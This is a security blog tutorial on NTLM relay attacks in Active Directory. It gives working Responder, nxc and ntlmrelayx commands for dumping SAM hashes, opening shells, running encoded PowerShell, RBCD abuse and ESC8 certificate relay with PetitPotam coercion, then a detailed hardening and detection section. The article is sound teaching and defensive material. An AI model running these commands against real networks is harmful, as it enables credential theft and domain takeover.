NTLM Relay Attacks in Practice: Hands-On with ntlmrelayx

Active Directory
2026.06.05
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. NTLM relay attacks can compromise entire Active Directory domains — unauthorized use is illegal in most jurisdictions and unethical everywhere.

Introduction

NTLM relay remains one of the highest-impact, lowest-prerequisite attacks against Active Directory. You don't need to crack a single password. Instead, you act as a machine-in-the-middle: you coax a victim into authenticating to you, then forward (relay) that authentication to a target service that trusts it. If signing isn't enforced, the target can't tell the difference between the legitimate client and the attacker.

In this article you'll learn how NTLM authentication can be abused, how to capture and relay it using Responder and ntlmrelayx.py (from Impacket), and crucially, how the blue team detects and shuts this down. We'll cover both the classic SMB relay and the more dangerous LDAP relay path that leads to domain takeover.

How It Works

NTLM is a challenge-response protocol. The flow is: the client sends a NEGOTIATE message, the server replies with a CHALLENGE (a random nonce), and the client returns an AUTHENTICATE message containing a response computed from the user's NT hash and that challenge.

The protocol authenticates the client to the server but does not bind the authentication to a specific connection or destination. That's the flaw. An attacker who receives a client's AUTHENTICATE can replay it on a brand-new connection to a different server. The mathematics still check out because the challenge and response are consistent — they were just never tied to the channel.

Two things make relay possible in practice:

  1. A way to coerce authentication. Responder poisons broadcast name-resolution protocols (LLMNR, NBT-NS, and mDNS). When a host mistypes a share name or a stale entry causes a lookup failure, it falls back to broadcasting "who is \\fileserv01?" Responder answers "me," and the victim authenticates to the attacker. Coercion can also be forced with RPC primitives like PetitPotam (MS-EFSRPC) or PrinterBug (MS-RPRN).

  2. A target that doesn't enforce signing. SMB signing and LDAP signing/channel binding cryptographically tie the session to the negotiated keys. If they are not required, relayed authentication is accepted.

NTLM Relay Attacks in Practice: Hands-On with ntlmrelayx diagram 1

Text summary: the attacker poisons name resolution, then shuttles the victim's NTLM challenge/response between the victim and an unsigned target, ending with authenticated access as the victim.

Prerequisites / Lab Setup

You need a small AD lab and a Linux attacker box (Kali works well). Install the toolset:

# Impacket (provides ntlmrelayx.py, secretsdump.py, etc.)
pipx install impacket

# Responder is usually pre-installed on Kali; otherwise:
git clone https://github.com/lgandx/Responder.git

Identify relay targets — hosts where SMB signing is not required. nxc (NetExec, the maintained fork of CrackMapExec) makes this trivial:

# Enumerate SMB signing across a subnet; "signing:False" = relayable
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

relay_targets.txt now holds every host that will accept relayed SMB authentication.

Attack Walkthrough

Step 1: Disable Responder's SMB and HTTP servers

When relaying, you want Responder to poison name resolution but not answer SMB/HTTP itself — ntlmrelayx must own those ports. Edit /etc/responder/Responder.conf:

[Responder Core]
SMB = Off
HTTP = Off

Then start Responder in analyze/poison mode:

sudo responder -I eth0 -dwv

Step 2: SMB relay to dump local secrets

Point ntlmrelayx at your target list. With -smb2support and no further options, a successful relay triggers secretsdump, pulling the local SAM database:

ntlmrelayx.py -tf relay_targets.txt -smb2support

When a domain admin (or any local admin on a target) gets poisoned, you'll see the SAM hashes dumped — instant lateral movement material. To get an interactive SMB shell instead, add -i and connect to the spawned listener:

ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# then:  nc 127.0.0.1 11000

To execute a command on relay:

ntlmrelayx.py -tf relay_targets.txt -smb2support \
  -c 'powershell -enc <base64-payload>'

Step 3: LDAP relay for domain takeover

This is the dangerous one. SMB signing is off by default on member servers, but LDAP signing and channel binding are frequently misconfigured on domain controllers. Relaying to LDAP/LDAPS lets you abuse directory writes.

The headline technique is RBCD (Resource-Based Constrained Delegation). If you relay a machine account, ntlmrelayx can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the victim computer object, granting an attacker-controlled account the right to impersonate any user to it:

ntlmrelayx.py -t ldaps://dc01.corp.local \
  --delegate-access \
  --escalate-user attackersvc\$

Coerce a target computer's machine account to authenticate (PetitPotam against the DC, or PrinterBug), let it relay to LDAPS, and you can then request a service ticket as a domain admin via getST.py -impersonate Administrator. See Resource-Based Constrained Delegation for the full delegation chain, and Kerberoasting for follow-on credential extraction.

Another LDAP path is adding a computer account (--add-computer), useful because by default any authenticated user can join up to 10 machines (ms-DS-MachineAccountQuota):

ntlmrelayx.py -t ldaps://dc01.corp.local \
  --add-computer EVILPC --no-da

Step 4: Cross-protocol coercion

Combine forced authentication with relay. PetitPotam abuses MS-EFSRPC to make a DC authenticate to you, and you relay that to LDAPS or to AD CS HTTP endpoints (the ESC8 attack, certificate-based domain takeover):

# Relay coerced DC auth to the CA's web enrollment endpoint
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# In another terminal, coerce the DC:
python3 PetitPotam.py -u user -p pass attacker_ip dc01.corp.local

ntlmrelayx requests a certificate for the DC machine account, which you can then use with Rubeus or gettgtpkinit.py to obtain a TGT — full domain compromise.

Detection & Defense (Blue Team)

Relay attacks are entirely preventable. Defenders should treat the following as a hardening checklist of equal priority to any offensive value.

1. Require SMB signing everywhere. This single control kills SMB relay. Enforce via GPO:

# Domain controllers enforce by default; enforce on all members too
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration  -RequireSecuritySignature $true -Force

The corresponding registry key is HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature = 1. Windows 11 24H2 and Server 2025 enable SMB signing by default — but legacy estates rarely do.

2. Enforce LDAP signing and channel binding on DCs. Set Domain controller: LDAP server signing requirements to Require signing, and Domain controller: LDAP server channel binding token requirements to Always. The registry keys are HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity = 2 and ...\NTDS\Parameters\LdapEnforceChannelBinding = 2. This neutralizes LDAP/LDAPS relay.

3. Disable LLMNR, NBT-NS, and mDNS. Remove the poisoning surface that Responder relies on:

# Disable LLMNR via GPO equivalent registry key
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" `
  -Name "EnableMulticast" -Value 0 -PropertyType DWord -Force

Disable NBT-NS per-adapter (set NetBIOS over TCP/IP to "Disabled") and push it via DHCP option 001.

4. Patch and mitigate coercion. Apply patches for PrinterBug and PetitPotam (KB5005413 guidance), disable the Print Spooler on DCs where unneeded, and enable Extended Protection for Authentication (EPA) on AD CS web enrollment to stop ESC8.

5. Reduce MachineAccountQuota to 0 so non-privileged users can't add computer accounts used in RBCD chains.

6. Detection. Hunt for the behavioral fingerprints:

  • LLMNR/NBT-NS responses from unexpected hosts (sensor on broadcast traffic, or canary hostname lookups).
  • Authentication where the source IP and the workstation name don't match the expected host — a hallmark of relayed sessions (Event ID 4624/4625 logon analysis).
  • Sudden writes to msDS-AllowedToActOnBehalfOfOtherIdentity (Directory Service object modification, Event ID 5136).
  • New computer objects created by user accounts, and certificate requests where subject ≠ requester.

Map these to MITRE ATT&CK T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay) and T1187 (Forced Authentication) in your detection coverage matrix.

Conclusion

NTLM relay turns a single mistyped share name into domain compromise — not by breaking cryptography, but by exploiting the protocol's failure to bind authentication to a destination. The offensive toolchain is mature: Responder for poisoning, ntlmrelayx for relaying, and coercion primitives like PetitPotam to remove the need to wait. Yet every step has a clean defensive answer. Require SMB signing, enforce LDAP signing and channel binding, kill multicast name resolution, and patch coercion vectors. Get those four right and ntlmrelayx has nothing to relay.

References

Comments

Copied title and URL